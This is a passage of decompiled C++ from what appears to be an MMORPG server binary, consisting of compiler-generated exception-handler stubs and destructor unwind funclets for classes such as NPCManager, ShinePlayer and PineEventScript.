(005926E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_SkillExchange_HPLow_ShineMob_ShineObjectClass__QAEEXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592700) -------------------------------------------------------- void __usercall _L164601(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00592708) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionAttack_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592720) -------------------------------------------------------- void __usercall _L166880_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00592728) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592748) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__IAEXViterator_12_IABUNaviPoint_Navigator___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592760) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UUnitPoint_Navigator__V__allocator_UUnitPoint_Navigator___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592770) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592780) -------------------------------------------------------- void __usercall _L167519_1(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 + 8)); } //----- (00592788) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__QAEXIUNaviPoint_Navigator___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005927A0) -------------------------------------------------------- void __usercall _L167755(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 24)); } //----- (005927A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005927C0) -------------------------------------------------------- void __usercall _L167765(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { StaticVector::_StaticVector(*(StaticVector **)(a1 - 16)); } //----- (005927E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__StaticVector_UNaviPoint_Navigator____QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592800) -------------------------------------------------------- void __usercall _L167966(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00592808) -------------------------------------------------------- void __usercall _L167967(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00592810) -------------------------------------------------------- void __usercall _L167968(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00592818) -------------------------------------------------------- unsigned int __cdecl _L167969() { unsigned int result; // eax@1 result = _S28_2 & 0xFFFFFFFE; _S28_2 &= 0xFFFFFFFEu; return result; } //----- (00592826) -------------------------------------------------------- void __usercall _L167970(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0059282E) -------------------------------------------------------- void __usercall _L167971(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (00592836) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionChase_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592840) -------------------------------------------------------- void __usercall _L146357(int a1) { MobTargetBout::_MobTargetBout(*(MobTargetNoBrain **)(a1 - 16)); } //----- (00592848) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobTargetAggresive2__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592860) -------------------------------------------------------- void __usercall _L146672(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00592868) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobAggroManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592880) -------------------------------------------------------- void __usercall _L146513(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00592888) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_SlayerList_MobTargetBout__UAEXPAUPROTO_NC_BAT_MOBSLAYER_CMD__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005928A0) -------------------------------------------------------- void __usercall _L158955(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005928A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_FindBlockLocate_ShineObject_ShineObjectClass__QAEEPAUSHINE_XY_TYPE__H0P8MapBlockInformation_MapBlock__AEEKK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005928C0) -------------------------------------------------------- void __usercall _L158348(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005928C8) -------------------------------------------------------- void __usercall _L158349(int a1) { AxialListBriefExchangerAtMove::_AxialListBriefExchangerAtMove((AxialListBriefExchangerAtMove *)(a1 - 20)); } //----- (005928D0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_NewObjBriefInfoChange_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005928E0) -------------------------------------------------------- void __usercall _L158482(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005928E8) -------------------------------------------------------- void __usercall _L158483(int a1) { AxialListBriefDeleteAtMove::_AxialListBriefDeleteAtMove((AxialListBriefDeleteAtMove *)(a1 - 20)); } //----- (005928F0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_OldObjectDelete_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592900) -------------------------------------------------------- void __usercall _L158519(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00592908) -------------------------------------------------------- void __usercall _L158520(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (00592910) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_FindBlockLocateFrom_ShineObject_ShineObjectClass__QAEEPAUSHINE_XY_TYPE__0H0P8MapBlockInformation_MapBlock__AEEKK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592920) -------------------------------------------------------- void __usercall _L158850(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00592928) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mm_Step_MoveManager__QAEX_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592940) -------------------------------------------------------- void __usercall _L87666(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592948) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___AMultiHitTable_MultiHitData__QAEPBUMultiHitElement_1_G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592960) -------------------------------------------------------- void __usercall _L88974(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00592968) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UMultiHitElement_MultiHitData__V__allocator_UMultiHitElement_MultiHitData___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592980) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UMultiHitElement_MultiHitData__V__allocator_UMultiHitElement_MultiHitData___std___std__IAEXViterator_12_IABUMultiHitElement_MultiHitData___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592990) -------------------------------------------------------- void __usercall _L90290(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 296)); } //----- (0059299B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mht_Load_MultiHitTable_MultiHitData__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005929B0) -------------------------------------------------------- void __usercall _L146791(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005929B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_AxialListNearScan__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005929D0) -------------------------------------------------------- void __usercall _L160914(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005929D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_ENDOFTRADE_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005929F0) -------------------------------------------------------- void __usercall _L160069(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 556)); } //----- (005929FB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nrb_Role_NPCRole_Portal__UAEXPAVShinePlayer_ShineObjectClass__PAUNPCIndexArray_NPCManager__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592A10) -------------------------------------------------------- void __usercall _L160182(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00592A18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nrb_Role_NPCRole_ID_Portal__UAEXPAVShinePlayer_ShineObjectClass__PAUNPCIndexArray_NPCManager__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592A30) -------------------------------------------------------- void __usercall _L160305(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00592A38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nrb_Role_NPCRole_Merchant__UAEXPAVShinePlayer_ShineObjectClass__PAUNPCIndexArray_NPCManager__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592A50) -------------------------------------------------------- void __usercall _L160451(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00592A70) -------------------------------------------------------- void __usercall _L160621(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00592A7B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_NPCCLICK_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592A90) -------------------------------------------------------- void __usercall _L160717(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00592A98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__InteractWithNPC_ShinePlayer_ShineObjectClass__UAEEPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592AB0) -------------------------------------------------------- void __usercall _L102073(int a1) { OptionReader::_OptionReader(*(OptionReader **)(a1 - 16)); } //----- (00592AB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ItemListOption_NPCItemList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592AD0) -------------------------------------------------------- void __usercall _L102198(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592AD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nilt_MenuPacket_NPCItemListTable_NPCItemList__QAEPAUPROTO_NC_MENU_SHOPOPENTABLE_CMD__PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592AF0) -------------------------------------------------------- void __usercall _L102258(int a1) { operator delete(*(void **)(a1 - 148)); } //----- (00592AFE) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nilt_ReadTable_NPCItemListTable_NPCItemList__QAEXPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592B10) -------------------------------------------------------- void __usercall _L158886(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 220)); } //----- (00592B1B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nm_Load_NPCManager__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592B30) -------------------------------------------------------- void __usercall _L159127(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00592B38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nm_SetNPC_NPCManager__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592B50) -------------------------------------------------------- void __usercall _L159590(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592B58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nrb_LinkBrenchCheck_NPCRole_Portal__UAEEPAULinkInformTemplete_NPCManager___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592B70) -------------------------------------------------------- void __usercall _L158623(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592B78) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__opts_NC_OPTOOL_CONNECT_BRIF_REQ_OPToolSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592B90) -------------------------------------------------------- void __usercall _L158840(int a1) { List::_List(*(ItemLotAnalyser::LotAnalyser **)(a1 - 16)); } //----- (00592B98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0OPToolList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592BB0) -------------------------------------------------------- void __usercall _L158803(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00592BB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VOPToolObject____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592BD0) -------------------------------------------------------- void __usercall _L159680(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592BD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__pp_SetPacketLen_ProtocolPacket__QAEEH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592BF0) -------------------------------------------------------- void __usercall _L149725(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592BF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_RecalcLastParam_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592C10) -------------------------------------------------------- void __usercall _L149256(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 188)); } //----- (00592C1B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__scp_Load_ShineCommonParameter__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592C30) -------------------------------------------------------- void __usercall _L149493(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00592C38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__FillRandomOption__YAXPAVItemInventoryCell__PBUItemDataBoxIndex_ItemDataBox__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592C50) -------------------------------------------------------- void __usercall _L149544(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00592C58) -------------------------------------------------------- void __usercall _L149545(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 48)); } //----- (00592C60) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_RecalcEquipParam_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592C70) -------------------------------------------------------- void __usercall _L149752(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00592C90) -------------------------------------------------------- void __usercall _L149789(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00592C98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_RecalcAbstateParam_ShineMobileObject_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592CB0) -------------------------------------------------------- void __usercall _L150437(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592CB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592CD0) -------------------------------------------------------- void __usercall _L158954(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592CD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_PARTY_MEMBERINFORM_ACK_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592CF0) -------------------------------------------------------- void __usercall _L158522(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00592CF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__pm_Sendmemberinfo_PartyManufacture__QAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592D10) -------------------------------------------------------- void __usercall _L158756(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00592D30) -------------------------------------------------------- void __usercall _L157722(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00592D38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_PARTY_FUNDAMENTAL_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592D50) -------------------------------------------------------- void __usercall _L149920(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592D58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_PARTY_MEMBERINFOREQ_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592D70) -------------------------------------------------------- void __usercall _L150299(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592D78) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_PARTY_KICKOFF_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592D90) -------------------------------------------------------- void __usercall _L75952(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592D98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__t_trace_LinearStep__UAEPAVTracer__PAUPathFindArgumentStruct___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592DB0) -------------------------------------------------------- void __usercall _L75258(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00592DB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cs_push_CellStack__AAEXPAUPathFindArgumentStruct__HHHHG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592DD0) -------------------------------------------------------- void __usercall _L75373(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00592DD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__t_trace_CellStack__UAEPAVTracer__PAUPathFindArgumentStruct___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592DF0) -------------------------------------------------------- void __usercall _L75763(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00592DF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UCellStackElement_CellStack____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592E10) -------------------------------------------------------- void __usercall _L75805(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00592E18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UPathFindCellLoc____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592E30) -------------------------------------------------------- void __usercall _L76032(int a1) { Tracer::_Tracer(*(LinearStep **)(a1 - 16)); } //----- (00592E38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CellStack__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592E50) -------------------------------------------------------- void __usercall _L153758(int a1) { PineScriptReader::TokenReader::_TokenReader((PineScriptReader::TokenReader *)(a1 - 552)); } //----- (00592E5B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__pes_Load_PineEventScript__QAEGPAEPAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592E70) -------------------------------------------------------- void __usercall _L154312(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 148)); } //----- (00592E7B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__ctype_D_std__QAE_PBF_NI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592E90) -------------------------------------------------------- void __usercall _L158160(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00592E9B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Getcat___num_put_DV__ostreambuf_iterator_DU__char_traits_D_std___std___std__SAIPAPBVfacet_locale_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592EB0) -------------------------------------------------------- void __usercall _L167301(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00592EB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Script_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, 